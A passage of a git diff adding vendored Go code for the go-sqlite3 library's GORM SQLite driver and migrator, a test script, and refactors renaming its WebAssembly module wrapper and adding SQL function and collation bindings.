m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + } + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + if err := m.DropIndex(value, oldName); err != nil { + return err + } + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile("\\s*('|`|\")?\\b" + table + "\\b('|`|\")?\\s*") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go new file mode 100644 index 0000000000..837d57c935 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go @@ -0,0 +1,219 @@ +// Package gormlite provides a GORM driver for SQLite. +package gormlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/callbacks" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" + + _ "github.com/ncruces/go-sqlite3/driver" +) + +type Dialector struct { + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open("sqlite3", dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + // Distinguish between schema.Time and tag time + if val, ok := field.TagSettings["TYPE"]; ok { + return val + } else { + return "datetime" + } + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh new file mode 100644 index 0000000000..4fc43ce7ce --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +rm -rf gorm/ tests/ "$(dirname $(mktemp -u))/gorm.db" +git clone --filter=blob:none https://github.com/go-gorm/gorm.git +mv gorm/tests tests +rm -rf gorm/ + +patch -p1 -N < tests.patch + +cd tests +go mod edit \ + -require github.com/ncruces/go-sqlite3/gormlite@v0.0.0 \ + -replace github.com/ncruces/go-sqlite3/gormlite=../ \ + -replace github.com/ncruces/go-sqlite3=../../ \ + -droprequire gorm.io/driver/sqlite \ + -dropreplace gorm.io/gorm +go mod tidy && go work use . && go test + +cd .. +rm -rf tests/ "$(dirname $(mktemp -u))/gorm.db" +go work use -r . \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch new file mode 100644 index 0000000000..01269e3931 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch @@ -0,0 +1,31 @@ +diff --git a/tests/.gitignore b/tests/.gitignore +--- a/tests/.gitignore ++++ b/tests/.gitignore +@@ -1 +1 @@ +-go.sum ++* +diff --git a/tests/tests_test.go b/tests/tests_test.go +--- a/tests/tests_test.go ++++ b/tests/tests_test.go +@@ -7,9 +7,11 @@ import ( + "path/filepath" + "time" + ++ _ "github.com/ncruces/go-sqlite3/embed" ++ sqlite "github.com/ncruces/go-sqlite3/gormlite" ++ + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" +- "gorm.io/driver/sqlite" + "gorm.io/driver/sqlserver" + "gorm.io/gorm" + "gorm.io/gorm/logger" +@@ -89,7 +91,7 @@ func OpenTestConnection(cfg *gorm.Config) (db *gorm.DB, err error) { + db, err = gorm.Open(mysql.Open(dbDSN), cfg) + default: + log.Println("testing sqlite3...") +- db, err = gorm.Open(sqlite.Open(filepath.Join(os.TempDir(), "gorm.db?_foreign_keys=on")), cfg) ++ db, err = gorm.Open(sqlite.Open("file:"+filepath.Join(os.TempDir(), "gorm.db")+"?_pragma=busy_timeout(1000)&_pragma=foreign_keys(1)"), cfg) + } + + if err != nil { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go index 65efe3b39e..9ff775774c 100644 --- a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go @@ -10,6 +10,32 @@ import ( type i32 interface{ ~int32 | ~uint32 } type i64 interface{ ~int64 | ~uint64 } +type funcVI[T0 i32] func(context.Context, api.Module, T0) + +func (fn funcVI[T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0])) +} + +func ExportFuncVI[T0 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVI[T0](fn), + []api.ValueType{api.ValueTypeI32}, nil). + Export(name) +} + +type funcVIII[T0, T1, T2 i32] func(context.Context, api.Module, T0, T1, T2) + +func (fn funcVIII[T0, T1, T2]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0]), T1(stack[1]), T2(stack[2])) +} + +func ExportFuncVIII[T0, T1, T2 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0, T1, T2)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVIII[T0, T1, T2](fn), + []api.ValueType{api.ValueTypeI32, api.ValueTypeI32, api.ValueTypeI32}, nil). + Export(name) +} + type funcII[TR, T0 i32] func(context.Context, api.Module, T0) TR func (fn funcII[TR, T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go new file mode 100644 index 0000000000..2309ed478f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go @@ -0,0 +1,75 @@ +package util + +import ( + "context" + "io" + + "github.com/tetratelabs/wazero/experimental" +) + +type handleKey struct{} +type handleState struct { + handles []any + empty int +} + +func NewContext(ctx context.Context) context.Context { + state := new(handleState) + ctx = experimental.WithCloseNotifier(ctx, state) + ctx = context.WithValue(ctx, handleKey{}, state) + return ctx +} + +func (s *handleState) CloseNotify(ctx context.Context, exitCode uint32) { + for _, h := range s.handles { + if c, ok := h.(io.Closer); ok { + c.Close() + } + } + s.handles = nil + s.empty = 0 +} + +func GetHandle(ctx context.Context, id uint32) any { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + return s.handles[^id] +} + +func DelHandle(ctx context.Context, id uint32) error { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + a := s.handles[^id] + s.handles[^id] = nil + s.empty++ + if c, ok := a.(io.Closer); ok { + return c.Close() + } + return nil +} + +func AddHandle(ctx context.Context, a any) (id uint32) { + if a == nil { + panic(NilErr) + } + s := ctx.Value(handleKey{}).(*handleState) + + // Find an empty slot. + if s.empty > cap(s.handles)-len(s.handles) { + for id, h := range s.handles { + if h == nil { + s.empty-- + s.handles[id] = a + return ^uint32(id) + } + } + } + + // Add a new slot. + s.handles = append(s.handles, a) + return -uint32(len(s.handles)) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/module.go b/vendor/github.com/ncruces/go-sqlite3/sqlite.go similarity index 57% rename from vendor/github.com/ncruces/go-sqlite3/module.go rename to vendor/github.com/ncruces/go-sqlite3/sqlite.go index e279601629..f442a723d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/module.go +++ b/vendor/github.com/ncruces/go-sqlite3/sqlite.go @@ -3,7 +3,6 @@ package sqlite3 import ( "context" - "io" "math" "os" "sync" @@ -25,70 +24,67 @@ var ( Path string // Path to load the binary from. ) -var sqlite3 struct { +var instance struct { runtime wazero.Runtime compiled wazero.CompiledModule err error once sync.Once } -func instantiateModule() (*module, error) { +func compileSQLite() { ctx := context.Background() + instance.runtime = wazero.NewRuntime(ctx) - sqlite3.once.Do(compileModule) - if sqlite3.err != nil { - return nil, sqlite3.err - } - - cfg := wazero.NewModuleConfig() - - mod, err := sqlite3.runtime.InstantiateModule(ctx, sqlite3.compiled, cfg) - if err != nil { - return nil, err - } - return newModule(mod) -} - -func compileModule() { - ctx := context.Background() - sqlite3.runtime = wazero.NewRuntime(ctx) - - env := vfs.ExportHostFunctions(sqlite3.runtime.NewHostModuleBuilder("env")) - _, sqlite3.err = env.Instantiate(ctx) - if sqlite3.err != nil { + env := instance.runtime.NewHostModuleBuilder("env") + env = vfs.ExportHostFunctions(env) + env = exportHostFunctions(env) + _, instance.err = env.Instantiate(ctx) + if instance.err != nil { return } bin := Binary if bin == nil && Path != "" { - bin, sqlite3.err = os.ReadFile(Path) - if sqlite3.err != nil { + bin, instance.err = os.ReadFile(Path) + if instance.err != nil { return } } if bin == nil { - sqlite3.err = util.BinaryErr + instance.err = util.BinaryErr return } - sqlite3.compiled, sqlite3.err = sqlite3.runtime.CompileModule(ctx, bin) + instance.compiled, instance.err = instance.runtime.CompileModule(ctx, bin) } -type module struct { - ctx context.Context - mod api.Module - vfs io.Closer - api sqliteAPI - arg [8]uint64 +type sqlite struct { + ctx context.Context + mod api.Module + api sqliteAPI + stack [8]uint64 } -func newModule(mod api.Module) (m *module, err error) { - m = new(module) - m.mod = mod - m.ctx, m.vfs = vfs.NewContext(context.Background()) +type sqliteKey struct{} + +func instantiateSQLite() (sqlt *sqlite, err error) { + instance.once.Do(compileSQLite) + if instance.err != nil { + return nil, instance.err + } + + sqlt = new(sqlite) + sqlt.ctx = util.NewContext(context.Background()) + sqlt.ctx = context.WithValue(sqlt.ctx, sqliteKey{}, sqlt) + + sqlt.mod, err = instance.runtime.InstantiateModule(sqlt.ctx, + instance.compiled, wazero.NewModuleConfig()) + if err != nil { + return nil, err + } getFun := func(name string) api.Function { - f := mod.ExportedFunction(name) + f := sqlt.mod.ExportedFunction(name) if f == nil { err = util.NoFuncErr + util.ErrorString(name) return nil @@ -97,15 +93,15 @@ func newModule(mod api.Module) (m *module, err error) { } getVal := func(name string) uint32 { - g := mod.ExportedGlobal(name) + g := sqlt.mod.ExportedGlobal(name) if g == nil { err = util.NoGlobalErr + util.ErrorString(name) return 0 } - return util.ReadUint32(mod, uint32(g.Get())) + return util.ReadUint32(sqlt.mod, uint32(g.Get())) } - m.api = sqliteAPI{ + sqlt.api = sqliteAPI{ free: getFun("free"), malloc: getFun("malloc"), destructor: getVal("malloc_destructor"), @@ -153,20 +149,43 @@ func newModule(mod api.Module) (m *module, err error) { changes: getFun("sqlite3_changes64"), lastRowid: getFun("sqlite3_last_insert_rowid"), autocommit: getFun("sqlite3_get_autocommit"), + anyCollation: getFun("sqlite3_anycollseq_init"), + createCollation: getFun("sqlite3_create_collation_go"), + createFunction: getFun("sqlite3_create_function_go"), + createAggregate: getFun("sqlite3_create_aggregate_function_go"), + createWindow: getFun("sqlite3_create_window_function_go"), + aggregateCtx: getFun("sqlite3_aggregate_context"), + userData: getFun("sqlite3_user_data"), + setAuxData: getFun("sqlite3_set_auxdata_go"), + getAuxData: getFun("sqlite3_get_auxdata"), + valueType: getFun("sqlite3_value_type"), + valueInteger: getFun("sqlite3_value_int64"), + valueFloat: getFun("sqlite3_value_double"), + valueText: getFun("sqlite3_value_text"), + valueBlob: getFun("sqlite3_value_blob"), + valueBytes: getFun("sqlite3_value_bytes"), + resultNull: getFun("sqlite3_result_null"), + resultInteger: getFun("sqlite3_result_int64"), + resultFloat: getFun("sqlite3_result_double"), + resultText: getFun("sqlite3_result_text64"), + resultBlob: getFun("sqlite3_result_blob64"), + resultZeroBlob: getFun("sqlite3_result_zeroblob64"), + resultError: getFun("sqlite3_result_error"), + resultErrorCode: getFun("sqlite3_result_error_code"), + resultErrorMem: getFun("sqlite3_result_error_nomem"), + resultErrorBig: getFun("sqlite3_result_error_toobig"), } if err != nil { return nil, err } - return m, nil + return sqlt, nil } -func (m *module) close() error { - err := m.mod.Close(m.ctx) - m.vfs.Close() - return err +func (sqlt *sqlite) close() error { + return sqlt.mod.Close(sqlt.ctx) } -func (m *module) error(rc uint64, handle uint32, sql ...string) error { +func (sqlt *sqlite) error(rc uint64, handle uint32, sql ...string) error { if rc == _OK { return nil } @@ -177,16 +196,16 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { panic(util.OOMErr) } - if r := m.call(m.api.errstr, rc); r != 0 { - err.str = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errstr, rc); r != 0 { + err.str = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } - if r := m.call(m.api.errmsg, uint64(handle)); r != 0 { - err.msg = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errmsg, uint64(handle)); r != 0 { + err.msg = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } if sql != nil { - if r := m.call(m.api.erroff, uint64(handle)); r != math.MaxUint32 { + if r := sqlt.call(sqlt.api.erroff, uint64(handle)); r != math.MaxUint32 { err.sql = sql[0][r:] } } @@ -198,60 +217,58 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { return &err } -func (m *module) call(fn api.Function, params ...uint64) uint64 { - copy(m.arg[:], params) - err := fn.CallWithStack(m.ctx, m.arg[:]) +func (sqlt *sqlite) call(fn api.Function, params ...uint64) uint64 { + copy(sqlt.stack[:], params) + err := fn.CallWithStack(sqlt.ctx, sqlt.stack[:]) if err != nil { - // The module closed or panicked; release resources. - m.vfs.Close() panic(err) } - return m.arg[0] + return sqlt.stack[0] } -func (m *module) free(ptr uint32) { +func (sqlt *sqlite) free(ptr uint32) { if ptr == 0 { return } - m.call(m.api.free, uint64(ptr)) + sqlt.call(sqlt.api.free, uint64(ptr)) } -func (m *module) new(size uint64) uint32 { +func (sqlt *sqlite) new(size uint64) uint32 { if size > _MAX_ALLOCATION_SIZE { panic(util.OOMErr) } - ptr := uint32(m.call(m.api.malloc, size)) + ptr := uint32(sqlt.call(sqlt.api.malloc, size)) if ptr == 0 && size != 0 { panic(util.OOMErr) } return ptr } -func (m *module) newBytes(b []byte) uint32 { +func (sqlt *sqlite) newBytes(b []byte) uint32 { if b == nil { return 0 } - ptr := m.new(uint64(len(b))) - util.WriteBytes(m.mod, ptr, b) + ptr := sqlt.new(uint64(len(b))) + util.WriteBytes(sqlt.mod, ptr, b) return ptr } -func (m *module) newString(s string) uint32 { - ptr := m.new(uint64(len(s) + 1)) - util.WriteString(m.mod, ptr, s) +func (sqlt *sqlite) newString(s string) uint32 { + ptr := sqlt.new(uint64(len(s) + 1)) + util.WriteString(sqlt.mod, ptr, s) return ptr } -func (m *module) newArena(size uint64) arena { +func (sqlt *sqlite) newArena(size uint64) arena { return arena{ - m: m, - base: m.new(size), + sqlt: sqlt, size: uint32(size), + base: sqlt.new(size), } } type arena struct { - m *module + sqlt *sqlite ptrs []uint32 base uint32 next uint32 @@ -259,17 +276,17 @@ type arena struct { } func (a *arena) free() { - if a.m == nil { + if a.sqlt == nil { return } a.reset() - a.m.free(a.base) - a.m = nil + a.sqlt.free(a.base) + a.sqlt = nil } func (a *arena) reset() { for _, ptr := range a.ptrs { - a.m.free(ptr) + a.sqlt.free(ptr) } a.ptrs = nil a.next = 0 @@ -281,7 +298,7 @@ func (a *arena) new(size uint64) uint32 { a.next += uint32(size) return ptr } - ptr := a.m.new(size) + ptr := a.sqlt.new(size) a.ptrs = append(a.ptrs, ptr) return ptr } @@ -291,13 +308,13 @@ func (a *arena) bytes(b []byte) uint32 { return 0 } ptr := a.new(uint64(len(b))) - util.WriteBytes(a.m.mod, ptr, b) + util.WriteBytes(a.sqlt.mod, ptr, b) return ptr } func (a *arena) string(s string) uint32 { ptr := a.new(uint64(len(s) + 1)) - util.WriteString(a.m.mod, ptr, s) + util.WriteString(a.sqlt.mod, ptr, s) return ptr } @@ -317,10 +334,10 @@ type sqliteAPI struct { step api.Function exec api.Function clearBindings api.Function - bindNull api.Function bindCount api.Function bindIndex api.Function bindName api.Function + bindNull api.Function bindInteger api.Function bindFloat api.Function bindText api.Function @@ -348,5 +365,30 @@ type sqliteAPI struct { changes api.Function lastRowid api.Function autocommit api.Function + anyCollation api.Function + createCollation api.Function + createFunction api.Function + createAggregate api.Function + createWindow api.Function + aggregateCtx api.Function + userData api.Function + setAuxData api.Function + getAuxData api.Function + valueType api.Function + valueInteger api.Function + valueFloat api.Function + valueText api.Function + valueBlob api.Function + valueBytes api.Function + resultNull api.Function + resultInteger api.Function + resultFloat api.Function + resultText api.Function + resultBlob api.Function + resultZeroBlob api.Function + resultError api.Function + resultErrorCode api.Function + resultErrorMem api.Function + resultErrorBig api.Function destructor uint32 } diff --git a/vendor/github.com/ncruces/go-sqlite3/stmt.go b/vendor/github.com/ncruces/go-sqlite3/stmt.go index 2fae0b40fb..c26de44cc2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/stmt.go +++ b/vendor/github.com/ncruces/go-sqlite3/stmt.go @@ -131,10 +131,11 @@ func (s *Stmt) BindName(param int) string { // // https://www.sqlite.org/c3ref/bind_blob.html func (s *Stmt) BindBool(param int, value bool) error { + var i int64 if value { - return s.BindInt64(param, 1) + i = 1 } - return s.BindInt64(param, 0) + return s.BindInt64(param, i) } // BindInt binds an int to the prepared statement. @@ -374,18 +375,7 @@ func (s *Stmt) ColumnBlob(col int, buf []byte) []byte { func (s *Stmt) ColumnRawText(col int) []byte { r := s.c.call(s.c.api.columnText, uint64(s.handle), uint64(col)) - - ptr := uint32(r) - if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) - s.err = s.c.error(r) - return nil - } - - r = s.c.call(s.c.api.columnBytes, - uint64(s.handle), uint64(col)) - - return util.View(s.c.mod, ptr, r) + return s.columnRawBytes(col, uint32(r)) } // ColumnRawBlob returns the value of the result column as a []byte. @@ -397,17 +387,18 @@ func (s *Stmt) ColumnRawText(col int) []byte { func (s *Stmt) ColumnRawBlob(col int) []byte { r := s.c.call(s.c.api.columnBlob, uint64(s.handle), uint64(col)) + return s.columnRawBytes(col, uint32(r)) +} - ptr := uint32(r) +func (s *Stmt) columnRawBytes(col int, ptr uint32) []byte { if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) + r := s.c.call(s.c.api.errcode, uint64(s.c.handle)) s.err = s.c.error(r) return nil } - r = s.c.call(s.c.api.columnBytes, + r := s.c.call(s.c.api.columnBytes, uint64(s.handle), uint64(col)) - return util.View(s.c.mod, ptr, r) } diff --git a/vendor/github.com/ncruces/go-sqlite3/value.go b/vendor/github.com/ncruces/go-sqlite3/value.go new file mode 100644 index 0000000000..aed10561e5 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/value.go @@ -0,0 +1,125 @@ +package sqlite3 + +import ( + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Value is any value that can be stored in a database table. +// +// 